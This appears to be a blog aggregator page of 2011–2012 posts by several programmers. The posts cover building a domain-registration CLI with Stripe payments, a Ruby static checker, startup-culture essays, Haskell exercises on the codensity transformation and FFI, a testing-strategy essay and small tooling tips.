When I decided to drop out of MIT and join Stripe, I didn’t really understand just how true this was. In my case, it really hit home when I was creating domaincli, a command-line client for registering domain names. I wanted to allow a user to run domaincli register gregbrockman.com, enter his or her credit card details, and then end up the proud owner of gregbrockman.com. As you might imagine, there are two principal challenges with making a tool like work: you need to plug in an API to actually register the domain names, and you need to plug in another API to let people pay for said domains.

Not knowing anything about domain registration APIs, or even whether they existed, I started Googling around to see what solutions were available. The results were quite surprising–it turns out that loads of registrars expose APIs. Seeing that Go Daddy had an offering (everyone’s favorite company, I know), I started poking around their product page. However, you had to pay several hundred dollars even to get access to the documentation, and I found rumors in forums that their API was a complicated XML-based mess. So I moved on to others’ reseller APIs.

One company that looked quite good was a Dutch registrar. Their documentation was reasonable (dare I say even good?), and I found several forum posts lauding their API. So I signed up for an account, played around in their test environment, and even PayPal’d in some funds for my account. But when I tried to get my live credentials, I ran into a popup notifying me that I had to request access to their production environment, and the request would be processed during normal business hours. This was on a Friday night, and I was planning on writing domaincli as my weekend project. So with a heavy heart, I realized this registrar wasn’t going to work.

So I started skimming through several other registrars, but it seemed that none of them offered instantaneous setup. I finally stumbled across a registrar who did, though their API was documented only by a pair of terribly-written client libraries. Though their WSDL worked for calls such as “check if this domain is registered”, I could never get their “register this domain” call to actually work.

Disheartened, I was about ready to give up. I dejectedly tried one more Google query, not expecting anything to turn up. But to my surprise, I ended up finding Internet.bs, a registrar with a documented JSON API and, more importantly, instant setup. Their API was a bit complicated, so it took some time to grok the relevant parameters and fully integrate, but in the end in didn’t take more than an hour or two.

After the wild west that was plugging in domain registration, it felt almost like cheating to just use Stripe for payments. I created an account, plugged in a create_token call to send the user’s card details directly to Stripe, and then added server-side create_customer and create_charge calls to store a card on file and charge it, respectively.

The rest was just adding some wiring around these two APIs. You can use the resulting tool by installing it via sudo pip install domaincli, or checking out the source on Github.

by gdb at January 23, 2012 06:06 PM

monad-control is tricky

{-# LANGUAGE FlexibleContexts #-}

import Control.Monad.Trans.Control
import Control.Monad.State

double :: IO a -> IO a
double m = m >> m

doubleG :: MonadBaseControl IO m => m a -> m a
doubleG = liftBaseOp_ double

incState :: MonadState Int m => m ()
incState = get >>= \x -> put (x + 1)

main = execStateT (doubleG (incState)) 0 >>= print

by Edward Z. Yang at January 23, 2012 05:39 PM

January 20, 2012

Another Stripe WordPress plugin

The above is a new Stripe WordPress plugin. I’m just running it in test mode; feel free to enter test card details such as those from https://stripe.com/docs/testing.

by gdb at January 20, 2012 07:51 PM

January 16, 2012

Mystery Hunt and the Scientific Endeavour

by Edward Z. Yang at January 16, 2012 09:12 PM

Static analysis in Ruby

While there are a host of static analysis tools for statically-typed languages like C or Java, dynamic languages like Ruby are traditionally regarded as too dynamic to be able to do any useful analysis without actually running the code. While there are some rudimentary tools you can run over your Ruby codebase (such as druby, reek, and roodi), as far as I can tell there is no tool you can just point at a main file in your Ruby codebase and have it start telling you about your bugs. Frustrated with the state of existing tools, I sat down one weekend to write a proof-of-concept Ruby static analysis tool, which I creatively dubbed ruby-static-checker.

Probably my most common cause of error while programming in Ruby is a name error–caused for example by typoing a variable name or by forgetting to update the name of a class after a refactor. My initial iteration of ruby-static-checker supports checking for typoed variable names. Just run bin/ruby-static-checker , and it will start spitting possible name errors at you. Here’s how it works.

The chief design goal of ruby-static-checker is that it needed to be runnable on unmodified Ruby projects with only the specification of a single file (rather than the entire project). Rather than resolve the import graph by hand, I load the project into the static analysis tool as a library. This has the side benefit of making any load-time class generation trivial to analyze.

The rest of ruby-static-checker is walking over abstract syntax trees for all defined classes (using the pretty cool parse_tree gem). Since Ruby does not require parentheses in order to call a method, it’s perhaps nonobvious, but in fact it is statically resolvable whether a particular name refers to a local variable (in which case no name error is possible) or a function call (in which case a name error is possible). Ruby represents these two cases differently in the AST, and so the checking problem reduces to building a list of defined methods and checking against the calls that are made.

Of course, dynamic constructs like method_missing, Object.send, runtime imports, and load-time branching can cause both false positives and false negatives for this approach. I consider these issues an acceptable cost–I wanted a tool that would generally find bugs in reasonable codebases, and missing out on the more Byzantine corner cases seemed perfectly fine.

I’ve run ruby-static-checker over a couple of codebases, including Stripe’s. Though it usually fires off a number of false positives (usually almost entirely in library code), I’ve also found actual bugs with it. I’ve also found it fairly useful to make sure that ruby-static-checker has found no new name errors in between runs.

Anyway, the tool was written in a weekend, so there’s obviously tons more to do. I’m curious to see how well the load-as-library approach works for more advanced analyses.

by gdb at January 16, 2012 06:32 PM

January 09, 2012

People

It’s taken me a long time to fully appreciate the value of people.

In middle and high school, I spent gobs of time studying chemistry and working on my math research. Try as I might, I was unable to find any peers who had similar interests or inclinations. The result was that I ended up spending the vast majority of my time working in isolation. My study carrel at the library became a second home, and I became resigned to thinking that I was alone. While I wasn’t overjoyed at the thought that I could not find anyone with whom to collaborate or share a common struggle, I also wasn’t too distraught about it. That was just how things were, and I accepted that fact without question.

I got my first glimpse of the potential joys of working with others when starting college. At Harvard, I began working in a study group for my math class, the infamous Math 55. Each week the professor would rain ten excruciatingly difficult problems on our heads, and it was all but impossible to keep up with the work on our own. For the first few weeks of school, I worked alone as I usually would, pounding my head against the problems until they yielded. While I would ultimately triumph, my willpower and time to do work for other classes would both be all but depleted. However, a number of us gradually started spending more and more time working together on the harder problems, until before we knew it we had a full-fledged tradition of meeting and collaboratively working on the problems each week. And correspondingly, I stopped feeling quite so beat down when handing in a problem set–in fact, I felt something that was most akin to pride. I realized that having a team of smart collaborators had turned this once harrowing experience into a positive one, with each of us providing mental and emotional support to the others.

I tried to employ this model in other classes, never with much success. A number of collaborators would gather to work on our physics problem sets. However, I found that our group was too mixed in experience, diligence, and ability. A few of the members clearly were just there to copy answers, while some came without ever having looked at the problem set. I started dreading going to physics study group almost as much as I had dreaded working on my math problem sets alone, even though most of the members were extremely smart and dedicated. I realized that the composition of a group of collaborators needs to be precisely tuned, and there is simply no room for those who won’t hold up their end of the social contract.

By the time sophomore year rolled around, I had all but despaired of finding another study group like the one from Math 55. I began working alone in my room, but I found myself consumed with loneliness. I started trying to work in the dining hall, where at least there were other people around. And while that did make me feel a lot better, the underlying problem of working alone remained.

Though I didn’t really comprehend it at the time, in my other endeavors throughout college, the most pleasant were those which involved a number of other people working towards a common goal. When the Harvard Computer Society’s LDAP server blew up right after I became the Director of Systems, a group of four of us worked nonstop for the next eighteen hours to bring our services back online. I can’t think of a more cherished memory or of a time I felt more accomplished during my college years.

These days, working on Stripe, the vast majority of my day is spent working with other people. We discuss architecture and strategy; we review each others’ code; we hang out and talk about life. We are bound together by a common goal, an overarching purpose, a reason for existence: to fix payments for the web, and in the process build an awesome company. I’ve learned that I absolutely need to be around people in order to be happy, but they must be the right sort of people. In all our hiring, we’re very conscious of this fact, and we make sure to only bring on board people who will contribute in the right way to our culture.

It’s shocking to me how far my views have evolved. Four years ago I was sure that I preferred doing everything on my own, and that having a shared goal with others was just inefficient. Now, I’m sure that I prefer working in a team and being able to share not only the burden and responsibility but also the joy that come from driving towards an goal. I’ll be interested to see what my views are in another four years, but until then, I’ve figured out how to maximize my happiness while working.

by gdb at January 09, 2012 07:35 PM

January 07, 2012

Problem Set: The Codensity Transformation

{-# LANGUAGE Rank2Types, MultiParamTypeClasses, FlexibleInstances #-}
import Prelude hiding (abs)

_EXERCISE_ = undefined

-----------------------------------------------------------------------------
-- Warmup: Hughes lists
-----------------------------------------------------------------------------

-- Experienced Haskellers should feel free to skip this section.

-- We first consider the problem of left-associative list append.  In
-- order to see the difficulty, we will hand-evaluate a lazy language.
-- For the sake of being as mechanical as possible, here are the
-- operational semantics, where e1, e2 are expressions and x is a
-- variable, and e1[e2/x] is replace all instances of x in e1 with e2.
--
--        e1 ==> e1'
--   ---------------------
--     e1 e2 ==> e1' e2
--
--   (\x -> e1[x]) e2 ==> e1[e2/x]
--
-- For reference, the definition of append is as follows:
--
--      a ++ b = foldr (:) b a
--
-- Assume that, on forcing a saturated foldr, its third argument is
-- forced, as follows:
--
--                e1 ==> e1'
--    -----------------------------------
--      foldr f e2 e1 ==> foldr f e2 e1'
--
--  foldr f e2 (x:xs) ==> f x (foldr f e2 xs)
--
-- Hand evaluate this implementation by forcing the head constructor,
-- assuming 'as' is not null:

listsample as bs cs = (as ++ bs) ++ cs

-- Solution:
--
--        (as ++ bs) ++ cs
--      = foldr (:) cs (as ++ bs)
--      = foldr (:) cs (foldr (:) bs as)
--      = foldr (:) cs (foldr (:) bs (a:as'))
--      = foldr (:) cs (a : foldr (:) b as')
--      = a : foldr (:) cs (foldr (:) bs as')
--
-- Convince yourself that this takes linear time per append, and that
-- processing each element of the resulting tail of the list will also
-- take linear time.

-- We now present Hughes lists:

type Hughes a = [a] -> [a]

listrep :: Hughes a -> [a]
listrep = _EXERCISE_

append :: Hughes a -> Hughes a -> Hughes a
append = _EXERCISE_

-- Now, hand evaluate your implementation on this sample, assuming all
-- arguments are saturated.

listsample' a b c = listrep (append (append a b) c)

-- Solution:
--
--        listrep (append (append a b) c)
--      = (\l -> l []) (append (append a b) c)
--      = (append (append a b) c) []
--      = (\z -> (append a b) (c z)) []
--      = (append a b) (c [])
--      = (\z -> a (b z)) (c [])
--      = a (b (c []))
--
-- Convince yourself that the result requires only constant time per
-- element, assuming a, b and c are of the form (\z -> a1:a2:...:z).
-- Notice the left-associativity has been converted into
-- right-associative function application.

-- The codensity transformation operates on similar principles.  This
-- ends the warmup.

-----------------------------------------------------------------------------
-- Case for leafy trees
-----------------------------------------------------------------------------

-- Some simple definitions of trees

data Tree a = Leaf a | Node (Tree a) (Tree a)

-- Here is the obvious monad definition for trees, where each leaf
-- is substituted with a new tree.

instance Monad Tree where
    return = Leaf
    Leaf a   >>= f = f a
    Node l r >>= f = Node (l >>= f) (r >>= f)

-- You should convince yourself of the performance problem with this
-- code by considering what happens if you force it to normal form.

sample = (Leaf 0 >>= f) >>= f
    where f n = Node (Leaf (n + 1)) (Leaf (n + 1))

-- Let's fix this problem.  Now abstract over the /leaves/ of the tree

newtype CTree a = CTree { unCTree :: forall r. (a -> Tree r) -> Tree r }

-- Please write functions which witness the isomorphism between the
-- abstract and concrete versions of trees.

treerep :: Tree a -> CTree a
treerep = _EXERCISE_

treeabs :: CTree a -> Tree a
treeabs = _EXERCISE_

-- How do you construct a node in the case of the abstract version?
-- It is trivial for concrete trees.

class Monad m => TreeLike m where
    node :: m a -> m a -> m a
    leaf :: a -> m a
    leaf = return

instance TreeLike Tree where
    node = Node

instance TreeLike CTree where
    node = _EXERCISE_

-- As they are isomorphic, the monad instance carries over too.  Don't
-- use rep/abs in your implementation.

instance Monad CTree where
    return = _EXERCISE_
    (>>=)  = _EXERCISE_ -- try explicitly writing out the types of the arguments

-- We now gain efficiency by operating on the /abstracted/ version as
-- opposed to the ordinary one.

treeimprove :: (forall m. TreeLike m => m a) -> Tree a
treeimprove m = treeabs m

-- You should convince yourself of the efficiency of this code.
-- Remember that expressions inside lambda abstraction don't evaluate
-- until the lambda is applied.

Tample' = treeabs ((leaf 0 >>= f) >>= f)
    where f n = node (leaf (n + 1)) (leaf (n + 1))

-----------------------------------------------------------------------------
-- General case
-----------------------------------------------------------------------------

-- Basic properties about free monads

data Free f a = Return a | Wrap (f (Free f a))
instance Functor f => Monad (Free f) where
    return = _EXERCISE_
    (>>=)  = _EXERCISE_ -- tricky!

-- Leafy trees are a special case, with F as the functor. Please write
-- functions which witness this isomorphism.

data F a = N a a

freeFToTree :: Free F a -> Tree a
freeFToTree = _EXERCISE_

treeToFreeF :: Tree a -> Free F a
treeToFreeF = _EXERCISE_

-- We now define an abstract version of arbitrary monads, analogous to
-- abstracted trees.  Witness an isomorphism.

newtype C m a = C { unC :: forall r. (a -> m r) -> m r }

rep :: Monad m => m a -> C m a
rep = _EXERCISE_

abs :: Monad m => C m a -> m a
abs = _EXERCISE_

-- Implement the monad instance from scratch, without rep/abs.

instance Monad (C m) where
    return = _EXERCISE_
    (>>=)  = _EXERCISE_ -- also tricky; if you get stuck, look at the
                        -- implementation for CTrees

-- By analogy of TreeLike for free monads, this typeclass allows
-- the construction of non-Return values.

class (Functor f, Monad m) => FreeLike f m where
    wrap :: f (m a) -> m a

instance Functor f => FreeLike f (Free f) where
    wrap = Wrap

instance FreeLike f m => FreeLike f (C m) where
    -- Toughest one of the bunch. Remember that you have 'wrap' available for the
    -- inner type as well as functor and monad instances.
    wrap = _EXERCISE_

-- And for our fruits, we now have a fully abstract improver!

improve :: Functor f => (forall m. FreeLike f m => m a) -> Free f a
improve m = abs m

-- Bonus: Why is the universal quantification over 'r' needed?   What if
-- we wrote C r m a = ...?  Try copypasting your definitions for that
-- case.

by Edward Z. Yang at January 07, 2012 08:00 AM

January 04, 2012

Why iteratees are hard to understand

data Step a b = Continue (Stream a -> m (Step a b)) | Yield b
type Iteratee     a b =                  m (Step a b)
type Enumerator   a b = Step a b ->      m (Step a b)
type Enumeratee o a b = Step a b -> Step o (Step a b)

interface Iteratee<A,B> {
  void put(Stream<A>);
  Maybe<B> result();
}

void Enumerator(Iteratee<A,B>);

type Enumerator a b = Step a b -> m (Step a b)

-- s :: Step a b
-- x0, x1 :: Stream a
case s of
    Yield r -> return (Yield r)
    Continue k -> do
        s' <- k x0
        case s' of
            Yield r -> return (Yield r)
            Continue k -> do
                s'' <- k x1
                return s''

type Enumerator a b = Step a b -> m ()

type Enumerator a b = Step a b -> m (Maybe b)

interface Enumeratee<O,A,B> implements Iteratee<O,B> {
    Enumeratee(Iteratee<A,B>);
    bool done();
    // inherited from Iteratee<O,B>
    void put(Stream<O>);
    Maybe<B> result();
}

type Enumeratee o a b = Step a b -> Step o (Step a b)

type Enumeratee o a b = Step a b -> Step o b

type Enumeratee o a b = Step a b -> Step o (Step a b)

by Edward Z. Yang at January 04, 2012 01:00 PM

December 19, 2011

Startup culture

For the first six months after joining Stripe, I slept on a mattress in the entryway bedroom of our five-bedroom house. We were getting a great bargain on rent, since the landlord was under the mistaken impression it was only a two-bedroom house. But what she didn’t realize was that room with the refrigerator in it is a perfectly valid bedroom. And that space where one might be tempted to put a dining room table or something equally wasteful also made a perfect living space. My room moonlighted as both a vestibule and a living room, which meant that people were always transiting through it, but having grown up next to train tracks I’ve developed the ability to sleep through arbitrary amounts of noise so it wasn’t a big deal. Admittedly, there wasn’t much space in the house to do anything but sleep, but that was all we wanted to use it for in any case.

The vast majority of my waking hours were spent at the office. I’d typically show up at 10 in the morning and leave at 2 (also in the morning). On days when I was feeling lazy and wanted to leave early, I’d usually head out at midnight.

I was loving every moment of this. At last, I was surrounded by exactly the kinds of people I wanted to be surrounded by, all the time. I was doing the kind of work I had been dreaming of doing. And best of all, it all felt like it was building up to some higher purpose, and that every incremental hour I put into Stripe was meaningfully increasing our probability of success.

My first day at work was spent being credentialed. Patrick created user accounts for me on the various third-party services we were using and gave me access on our servers. One thing I noticed was that the shared passwords for some of these third-party services were kept in cleartext on one of these servers. The security nerd in me cried out in protest, and I spent the next day building a service, password-vault, for encrypting shared passwords to people’s GPG keys on the client side and storing the encrypted password on the server. We started using password-vault immediately, and it’s still in use today. It was amazing to me that I could go from identifying a problem needing solving to having an adopted solution in so little time.

I worked in an analogous way on a day-to-day basis. There were a number of systems that clearly needed building, our server architecture needed some serious love, and we did not have T-shirts. Each day, I would decide the order of priority of these problems, and I’d choose when and how they would be solved. Sometimes another Stripe would push a task onto my plate, if it pertained to my area of interest or expertise, and sometimes I’d push a task onto theirs. On the whole, we operated as a decentralized network of independent nodes, with loose central coordination as we pushed for a single higher-level goal.

I think this workflow and work dynamic are really easy to have in a small startup, but they are just as easy to lose over time. As a company grows, communication becomes harder, and even knowing what other people are working on becomes a challenge. A lot of companies try to solve this by pigeonholing their employees into narrower roles, with direction and oversight from a manager. We’ve opted for a different approach, instead continuing to hire people who work well as independent nodes, and to push really hard to make sure people are communicating and have a clear, shared vision of where we need to go.

We don’t all live in the same house anymore, but we try to maintain the same feeling of closeness and camaraderie. One of the standards we apply when interviewing a potential Stripe employee is whether this person is someone who, if you knew he or she was alone in the office, would make you want to go to the office just to be around him or her.

I still spend basically every waking moment at the office working on Stripe. I’ll take a weekend every so often to hack on a side project. But I’ve worked hard to make sure that Stripe remains the most enjoyable and incrementally useful application of my time, and so my days remain happily ensconced in working on my latest project for Stripe. As we continue to grow, I think we’ll have to continue to work hard to maintain our culture and all the properties that make Stripe an awesome place to work, but I also am confident that being cognizant of this challenge is half the battle.

by gdb at December 19, 2011 05:56 PM

Bugs and Battleships

Do you remember your first computer program? When you had finished writing it, what was the first thing you did? You did the simplest possible test: you ran it.

As programs increase in size, so do the amount of possible tests. It’s worth considering which tests we actually end up running: imagine the children’s game Battleship, where the ocean is the space of all possible program executions, the battleships are the bugs that you are looking for, and each individual missile you fire is a test you run (white if the test passes, red if the test fails.) You don’t have infinite missiles, so you have to decide where you are going to send them.

In the case of “your first computer program,” the answer seems pretty obvious: there’s only one way to run the program, only a few cases to test.

But this fantasy is quickly blown away by an encounter with real software. Even if your program has no inputs, hardware, operating system, development environment, and other environmental factors immediately increase the space of tests. Add explicit inputs and nondeterminism to the application, and you’re looking at the difference between a swimming pool and an ocean.

How do we decide what to test? What is our strategy—where do we send more missiles, where do we send less? Different testing strategies result in different distributions of tests on the space of all possible executions. Even though we may not be thinking about the distribution of test cases when we write up tests or run the whole system in an integration test, different test strategies result in different coverage.

For example, you might decide not to do any tests, and rely on your users to give you bug reports. The result is that you will end up with high coverage in frequently used areas of your application, and much less coverage in the rarely used areas. In some sense, this is an optimal strategy when you have a large user base willing to tolerate failure—though anyone who has run into bugs using software in unusual circumstances might disagree!

There is a different idea behind regression testing, where you add an automatic test for any bug that occurred in the past. Instead of focusing coverage on frequently used area, a regression test suite will end up concentrated on “tricky” areas of the application, the areas where the most bugs have been found in the past. The hypothesis behind this strategy is that regions of code that historically had bugs are more likely to have bugs in the future.

You might even have some a priori hypotheses about where bugs in applications occur; maybe you think that boundary cases in the application are most likely to have bugs. Then you might reasonable focus your testing efforts on those areas on the outset.

Other testing strategies might focus specifically on the distribution of tests. This is especially important when you are concerned about worst-case behavior (e.g. security vulnerabilities) as opposed to average-case behavior (ordinary bugs.) Fuzz testing, for example, involves randomly spattering the test space without any regard to such things as usage frequency: the result is that you get a lot more distribution on areas that are rarely used and don’t have many discovered bugs.

You might notice, however, that while fuzz testing changes the distribution of tests, it doesn’t give any guarantees. In order to guarantee that there aren’t any bugs, you’d have to test every single input, which in modern software engineering practice is impossible. Actually, there is a very neat piece of technology called the model checker, designed specifically with all manner of tricks for speed to do this kind of exhaustive testing. For limited state spaces, anyway—there are also more recent research projects (e.g. Alloy) which perform this exhaustive testing, but only up to a certain depth.

Model checkers are “dumb” in some sense, in that they don’t really understand what the program is trying to do. Another approach we might take is to take advantage of the fact that we know how our program works, in order to pick a few, very carefully designed test inputs, which “generalize” to cover the entire test space. (We’ll make this more precise shortly.)

The diagram above is a bit misleading, however: test-cases rarely generalize that readily. One might even say that the ability to generalize behavior of specific tests to the behavior of the program is precisely what distinguishes a good program from a bad one. A bad program is filled with many, many different cases, all of which must be tested individually in order to achieve assurance. A good program is economical in its cases, it tries to be as complex as the problem it tries to solve, and no more.

What does it mean to say that a test-case generalizes? My personal belief is that chunks of the test input space which are said to be equivalent to each other correspond to a single case, part of a larger mathematical proof, which can be argued in a self-contained fashion. When you decompose a complicated program into parts in order to explain what it does, each of those parts should correspond to an equivalence partition of the program.

The corollary of this belief is that good programs are easy to prove correct.

This is a long way from “running the program to see if it works.” But I do think this is a necessary transition for any software engineer interested in making correct and reliable software (regardless of whether or not they use any of the academic tools like model checkers and theorem provers which take advantage of this way of thinking.) At the end of the day, you will still need to write tests. But if you understand the underlying theory behind the distributions of tests you are constructing, you will be much more effective.

Postscript. The relationship between type checking and testing is frequently misunderstood. I think this diagram sums up the relationship well:

Types eliminate certain regions of bugs and fail to affect others. The idea behind dependent types is to increase these borders until they cover all of the space, but the benefits are very tangible even if you only manage to manage a subset of the test space.

This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

by Edward Z. Yang at December 19, 2011 04:04 PM

December 18, 2011

How to build i686 glibc on Ubuntu

by Edward Z. Yang at December 18, 2011 11:03 PM

December 17, 2011

Interactive Demo of Zero-Knowledge Proofs

For the final project in our theoretical computer science and philosophy class taught by Scott Aaronson, Karen Sittig and I decided to create an interactive demonstration of zero-knowledge proofs. (Sorry, the picture below is not clickable.)

For the actually interactive demonstration, click here: http://web.mit.edu/~ezyang/Public/graph/svg.html (you will need a recent version of Firefox or Chrome, since we did our rendering with SVG.)

by Edward Z. Yang at December 17, 2011 06:56 PM

December 15, 2011

Accessing lazy structures from C

{-# LANGUAGE ForeignFunctionInterface #-}

import Foreign.C.Types
import Foreign.StablePtr
import Control.Monad

lazy :: [CInt]
lazy = [1..]

main = do
    pLazy <- newStablePtr lazy
    test pLazy -- we let C deallocate the stable pointer with cfree

chead = liftM head . deRefStablePtr
ctail = newStablePtr . tail <=< deRefStablePtr
cfree = freeStablePtr

foreign import ccall test :: StablePtr [CInt] -> IO ()
foreign export ccall chead :: StablePtr [CInt] -> IO CInt
foreign export ccall ctail :: StablePtr [CInt] -> IO (StablePtr [CInt])
foreign export ccall cfree :: StablePtr a -> IO ()

#include <HsFFI.h>
#include <stdio.h>
#include "Main_stub.h"

void test(HsStablePtr l1) {
    int x = chead(l1);
    printf("first = %d\n", x);
    HsStablePtr l2 = ctail(l1);
    int y = chead(l2);
    printf("second = %d\n", y);
    cfree(l2);
    cfree(l1);
}

Name:                export
Version:             0.1
Cabal-version:       >=1.2
Build-type:          Simple

Executable export
  Main-is:             Main.hs
  Build-depends:       base
  C-sources:           export.c

by Edward Z. Yang at December 15, 2011 10:18 PM

December 14, 2011

Making Message-ID useful in Thunderbird

In Thunderbird, if you read a message on a mailing list and want to reference a post in a blog or elsewhere, you may often want to access a copy of the mailing list posting on the web. While you can often accomplish this by searching for the subject or manually finding it in the specific archives of that list, if you’re using full mail headers, there’s a built-in way to find a message on the web.

Each email or Usenet message has a unique Message-ID. These are indexed at various providers which archive mailing lists, with Gmane being the most notable in the Free Software community.

If you right-click on the Message-ID of a message in Thunderbird, you can choose to “Open Browser with Message-ID”. By default this menu item opens sensible-browser with a Google Groups page, which, while indexing of Usenet, remains  ignorant about most mailing lists. Most people reading this will probably find that Gmane carries their favourite mailing lists, while Google does not.

This is configurable, but sadly you have to choose one or another. In Thunderbird, go to Edit → Preferences → Advanced → Config Editor, and set the “mailnews.messageid_browser.url” property to http://mid.gmane.org/%mid. (default of http://groups.google.com/groups?selm=%mid&rnum=1)

by Luke Faraone at December 14, 2011 11:33 PM

December 12, 2011

Decisions

I made the decision to drop out of MIT on a Thursday.

I spent most of that Friday meeting with my professors. I wanted to explain to them why they weren’t going to be seeing me in classes any more, and for those whom I knew well to say goodbye. Their reactions were mixed, but all were very heartfelt. My advisor thought I was making a huge mistake, that now was the time for me to be in academia, and that I could always go do a startup in the future. My AI professor was enthusiastically supportive, commenting that now is the time for me to be learning and exploring and that a startup would be a great place to do that. Another of my professors told me about his own experiences, both good and bad, with startups he’d founded; he gave me advice about what to watch out for. I also met with a dean at Student Support Services, who actually submitted my request to go on a leave of absence.

Saturday was the day I packed up my life. I grabbed some boxes from the UPS store, and within the next eight hours there was no sign I had even inhabited my room. For some reason I happen to have a picture of me with said boxes:

Sunday I spent hanging out with the friends I was going to be leaving behind.

And then on Monday, I was on a plane to California.

It struck me as insane how I was able to so completely alter the course of my life in such a short window. Within the span of four days, I had transitioned from being a MIT student, thinking of little more than how I was going to complete the next problem set, to working full time on a startup in Silicon Valley. Usually lives are much less malleable than that. Going abroad after high school, starting college, and transferring to MIT were all major life events that had required months of advance planning. But somehow I managed to pull off the transition smoothly.

Looking back, I’m still quite surprised that I left school at all. I had always pictured myself as the kind of person who wanted absolute certainty in decisions, who would try to gather all available data and spend weeks pondering it before making a decision. But the timescales here had been far too small to make a fully rational decision, and I had made my decision off of the sense that the others at /dev/payments were exactly the kinds of people I had been trying for years to find. For the first time in my life, I had explicitly made a choice based off of gut rather than rationality.

Since then, I think my views on gut instinct have changed significantly. My decision to join Stripe (which is what we renamed /dev/payments to) turned out to be the best decision I’ve made thus far in my life. Looking back at the other life choices I’ve made, I’ve realized that for the most part the outcome after all my thought and information gathering matched my initial gut reactions. I’ve also been running recruiting at Stripe for a while now, and I’ve noticed that my initial feelings about a candidate tend to translate extremely well into whether they end up being a good fit for us or not.

To some extent, this mentality is necessary in a startup. Being able to rapidly make decisions and act quickly is perhaps the chief advantage that you have by being a startup. Knowing when to tune out the desire for full rationality and instead trust one’s instincts is a skill that I think I’m still honing, but all evidence seem to indicate that it’s well worth having.

by gdb at December 12, 2011 12:04 AM

December 03, 2011

Leaving school

Fall 2010 marked the beginning of my junior year and second semester at MIT. At the end of the summer, I had sat down and planned my goals for the next few years. I had a breakdown for the next semester, the next year, and the next few after that as well, and I had compiled the results in a notes file. (This codification of who I am and what I am trying to accomplish turned out to be hugely beneficial, and since then I’ve made sure to do the same every six months or so.)

My short-term plan was to start working on a research project, start getting more involved in major open-source projects, and build more side projects. On the whole, I wrote, “I think the plan is still to get as good as I can at the things that I do.” I wanted to learn, but I had recognized that class was not the place that I was going to learn how to build.

In the longer term, I wanted to do a startup. I figured it’d be a long time before I was confident enough in my abilities that it would make sense to do so. And so in the meanwhile, I was going to finish up my undergraduate, do a masters at MIT, and then start grad school, where hopefully I would come up with a cool technology to build a company around.

I began my preparations for the semester. I came up with an idea for a research project that I was extremely excited about (static buffer overrun detection), and I recruited three of my friends to work on this with me. And I was going through the course catalog picking out classes for the next semester, I was overjoyed when I noticed a startup class (entitled “Founder’s Journey”). I immediately signed up for the class.

My computer science classes that semester were far better than the ones I had been taking previously, but still they left me hungering for more. I would typically work intensely for a few days finishing the assignments for the next few weeks, which left me a lot of time to work on my own projects.

My research project, unfortunately, never really got off the ground. My friends and I would read papers and meet weekly with a graduate student, but one by one my friends found that they had other obligations which ended up taking priority over the project. By the end of the first month, I was the only one left. I was disappointed, because I had really been looking forward to working with others towards building something awesome, but I continued onwards anyway.

The startup class also ended up falling short of my hopes. I had been expecting it to be a cookbook for how to start a company. I anticipated practical advice, such as here’s when you start talking to a lawyer and this is what you have to watch out for when taking investment. Instead, it was a much fuzzier class than I was looking for, talking a lot about entrepreneurial thinking and reasoning. After a few weeks, I came to the realization that even outside of computers, the things that I wanted to learn were not going to be taught to me in a classroom; I ended up dropping the course.

But I had not given up on learning the parts of doing a startup outside of writing code. I resolved to spend more time meeting people who were working on companies and to talk with them and how they were approaching problems. I also planned to try tracking how these approaches correlated with success of these people’s startups.

So when I received a Facebook message from a person doing a startup who wanted to meet up, I accepted. I had no intention of joining the guy’s company, but I wanted to get started with my practical learning about how to build a startup as soon as possible.

The next day, we met up in the MIT student center. He began to weave the story of the startup he was building. They were building a developer-focused payments company, called /dev/payments at the time. He showed me the product they had built thus far, and demonstrated running a curl request to create a sample payment. I really could not have been more underwhelmed. I didn’t really get it–why was building a curlable API an interesting company? I could build a curlable API from my dormroom.

And then he mentioned the investors who were involved–Peter Thiel, Elon Musk, Sequoia, Y Combinator, and a host others. I hadn’t heard of all the names he mentioned, but I’ll admit that the ones who I had heard of made me rescind my judgement that he was not working on anything interesting. I didn’t have any payments experience, but they had some well-reputed investors who clearly did. Presumably those investors would be able to distinguish just another API from something truly revolutionary. (Incidentally, I’ve since decided that this was wrong–investors are very good at evaluating team and market, but they don’t tend to judge based on product nearly as much as I assumed.)

When I returned to my room, I began searching for all of the information I could find on /dev/payments (which was not much; they had done a pretty good job of staying under the radar) and the founders (of which there was a considerable amount; they had already built and sold a previous company and had a lot of cool code on Github). I also pinged Corey, the only person I knew in the startup scene in Silicon Valley, and asked if he had heard of the company or the founders before. A few days later, he got back to me, saying that he had reached out into his network and heard a bunch of extremely positive things. As well, it turned out the founders and I had some mutual friends; they all confirmed the positivity.

It was at that point that I began seriously considering this startup as a potential place to work rather than just a guinea pig. I accepted an offer to fly out for a weekend. And within five minutes of stepping into their office, I was flattened by the realization that these were the exact kinds of people I wanted to work with. I can’t remember a word of the conversation we had, but I can recall very clearly the feeling of belonging it generated, like I had finally found my people.

Everything about the company seemed perfect. It was still unlaunched, though it had some beta customers who were loving the product. It had only one full-time employee (plus a part-time office manager), and I would be the first engineering hire. And best of all, rather than putting me up in a hotel for the weekend, I was invited to crash with the founders. My ideal picture of a startup had long been finding a group of people who I loved spending time around and focusing singlemindedly on solving a real problem. I wanted to spend my time living and breathing the problem, working and hanging out and existing with my coworkers, and generally letting loose the intensity had been lacking an outlet in school. And it was clear that this company was exactly that.

I went back to school in time for class on Monday and started thinking very hard. I consulted with tons of people. Many thought I was crazy to even think about leaving school for a startup. Many thought I was crazy to leave school for this startup (especially knowing so little about the product). But a few people realized what I was after and saw that I wasn’t finding it at MIT and thought I might not be completely insane.

By Thursday night, I was about ready to make a decision. I was leaning towards, but I wasn’t quite sure I was ready to make the leap. One of the founders happened to be in Boston, and we met up at the Asgard. We spent a long time chatting about the company, about life, about the universe, and really about everything. And I realized then that what really mattered to me and made me willing to take this leap was that it was clear that the people from /dev/payments were looking out for not just their best interests, but my own as well. And so, my fears allayed, I decided to put school on hold and enter the startup world.

by gdb at December 03, 2011 09:53 AM

November 28, 2011

Transparent xmobar

Things I should be working on: graduate school personal statements.

What I actually spent the last five hours working on: transparent xmobar.

It uses the horrible “grab Pixmap from root X window” hack. You can grab the patch here but I haven’t put in enough effort to actually make this a configurable option; if you just compile that branch, you’ll get an xmobar that is at 100/255 transparency, tinted black. (The algorithm needs a bit of work to generalize over different tints properly; suggestions solicted!) Maybe someone else will cook up a more polished patch. (Someone should also drum up a more complete set of XRender bindings!)

